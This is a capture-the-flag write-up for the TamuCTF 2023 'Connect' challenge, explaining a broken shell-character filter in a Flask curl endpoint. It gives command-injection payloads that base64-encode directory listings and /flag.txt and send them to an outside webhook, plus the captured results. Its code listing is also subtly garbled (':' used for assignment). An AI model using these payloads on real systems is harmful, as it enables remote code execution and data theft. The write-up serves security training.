Cover Image

TamuCTF 2023 - Connect

Challenge Overview

In this challenge, we were given a file that contains the Flask application. Here is an overview of the app.py application:

import flask
import os

def escape_shell_cmd(data):
    for char in data:
        if char in '&#;`|*?~<>^()[]{}$\\':
            return False
        else:
            return True

app: flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return flask.render_template('index.html')

@app.route('/api/curl', methods=['POST'])
def curl():
    url: flask.request.form.get('ip')
    if escape_shell_cmd(url):
        command: "curl -s -D - -o /dev/null " + url + " | grep -oP '^HTTP.+[0-9]{3}'"
        output: os.popen(command).read().strip()
        if 'HTTP' not in output:
            return flask.jsonify({'message': 'Error: No response'})
        return flask.jsonify({'message': output})

    else:
        return flask.jsonify({'message': 'Illegal Characters Detected'})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8001)

Code Analysis

Vulnerability Analysis

This application allows checking if a website is online or not through a curl request from the /api/curl route.

However, we can notice that the escape_shell_cmd() function was very poorly designed since the return statement allows exiting the function and returning a value. So the function will only compare the first character of the URL, which allows us to inject malicious code. However, we will have no result and no output from the command since we will only have the line containing HTTP. Here we can exploit a blind RCE.

Exploitation

Blind RCE via Webhook

To exploit the application, I need a webhook. I will use requestcatcher.com .

First, here is what the interface looks like:

Interface
Figure 0x1 – Interface

Directory Listing

By sending the following payload:

https://balgo.requestcatcher.com/$(ls -l | base64 -w0)

Result

We get data on the webhook:

GET /dG90YWwgMTIKLXJ3LXJ3LXItLS4gICAgMSByb290IHJvb3QgIDg2NyBBcHIgMjggMDQ6MzcgYXBwLnB5CmRyd3hyLXhyLXguICAgIDEgcm9vdCByb290ICAgIDYgQXByIDEyIDA3OjA2IGJpbgpkcnd4ci14ci14LiAgICAyIHJvb3Qgcm9vdCAgICA2IFNlcCAgMyAgMjAyMiBib290CmRyd3hyLXhyLXguICAgIDUgcm9vdCByb290ICAxMjAgQXByIDI5IDAxOjUzIGRldgpkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDY2IEFwciAyOCAwNzozMiBldGMKLXJ3LXJ3LXItLS4gICAgMSByb290IHJvb3QgICA0MyBBcHIgMjggMDQ6MzcgZmxhZy50eHQKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBTZXAgIDMgIDIwMjIgaG9tZQpkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDMwIEFwciAxMiAwNzowNiBsaWIKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAzNCBBcHIgMTEgMDA6MDAgbGliNjQKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgbWVkaWEKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgbW50CmRyd3hyLXhyLXguICAgIDIgcm9vdCByb290ICAgIDYgQXByIDExIDAwOjAwIG9wdApkci14ci14ci14LiAxMTQzIHJvb3Qgcm9vdCAgICAwIEFwciAyOCAwNzozMiBwcm9jCmRyd3gtLS0tLS0uICAgIDEgcm9vdCByb290ICAgMjAgQXByIDI4IDA1OjQzIHJvb3QKZHJ3eHIteHIteC4gICAgMyByb290IHJvb3QgICAzMCBBcHIgMTEgMDA6MDAgcnVuCmRyd3hyLXhyLXguICAgIDIgcm9vdCByb290IDQwOTYgQXByIDExIDAwOjAwIHNiaW4KZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgc3J2CmRyd3hyd3hyLXguICAgIDIgcm9vdCByb290ICAgMzggQXByIDI4IDA0OjM3IHN0YXRpYwpkci14ci14ci14LiAgIDEzIHJvb3Qgcm9vdCAgICAwIEFwciAyNiAwMjowNiBzeXMKZHJ3eHJ3eHIteC4gICAgMiByb290IHJvb3QgICAyNCBBcHIgMjggMDQ6MzcgdGVtcGxhdGVzCmRyd3hyd3hyd3QuICAgIDEgcm9vdCByb290ICAgIDYgQXByIDI4IDA1OjQzIHRtcApkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDU0IEFwciAxMSAwMDowMCB1c3IKZHJ3eHIteHIteC4gICAgMSByb290IHJvb3QgICA0MSBBcHIgMTEgMDA6MDAgdmFyCg== HTTP/1.1

Host: balgo.requestcatcher.com

Accept: */*

User-Agent: curl/7.64.0

Decoded Output

And by decoding the base64 data, we receive the following data:

total 12
-rw-rw-r--.    1 root root  867 Apr 28 04:37 app.py
drwxr-xr-x.    1 root root    6 Apr 12 07:06 bin
drwxr-xr-x.    2 root root    6 Sep  3  2022 boot
drwxr-xr-x.    5 root root  120 Apr 29 01:53 dev
drwxr-xr-x.    1 root root   66 Apr 28 07:32 etc
-rw-rw-r--.    1 root root   43 Apr 28 04:37 flag.txt
drwxr-xr-x.    2 root root    6 Sep  3  2022 home
drwxr-xr-x.    1 root root   30 Apr 12 07:06 lib
drwxr-xr-x.    2 root root   34 Apr 11 00:00 lib64
drwxr-xr-x.    2 root root    6 Apr 11 00:00 media
drwxr-xr-x.    2 root root    6 Apr 11 00:00 mnt
drwxr-xr-x.    2 root root    6 Apr 11 00:00 opt
dr-xr-xr-x. 1143 root root    0 Apr 28 07:32 proc
drwx------.    1 root root   20 Apr 28 05:43 root
drwxr-xr-x.    3 root root   30 Apr 11 00:00 run
drwxr-xr-x.    2 root root 4096 Apr 11 00:00 sbin
drwxr-xr-x.    2 root root    6 Apr 11 00:00 srv
drwxrwxr-x.    2 root root   38 Apr 28 04:37 static
dr-xr-xr-x.   13 root root    0 Apr 26 02:06 sys
drwxrwxr-x.    2 root root   24 Apr 28 04:37 templates
drwxrwxrwt.    1 root root    6 Apr 28 05:43 tmp
drwxr-xr-x.    1 root root   54 Apr 11 00:00 usr
drwxr-xr-x.    1 root root   41 Apr 11 00:00 var

Reading the Flag

We successfully executed malicious code and displayed the file list. We quickly spot the flag.txt file which contains our flag, so we will display it with the following payload, still using the webhook:

https://balgo.requestcatcher.com/$(cat /flag.txt | base64 -w0)

And here is what we get again:

GET /Z2lnZW17cDAwcl9mMWx0M3JzX200azNfZjByX3AwMHJfczNjdXIxdHl9Cg== HTTP/1.1

Host: balgo.requestcatcher.com

Accept: */*

User-Agent: curl/7.64.0

Final Flag

Which gives us once decoded:

gigem{p00r_f1lt3rs_m4k3_f0r_p00r_s3cur1ty}

Flag

The flag is therefore gigem{p00r_f1lt3rs_m4k3_f0r_p00r_s3cur1ty}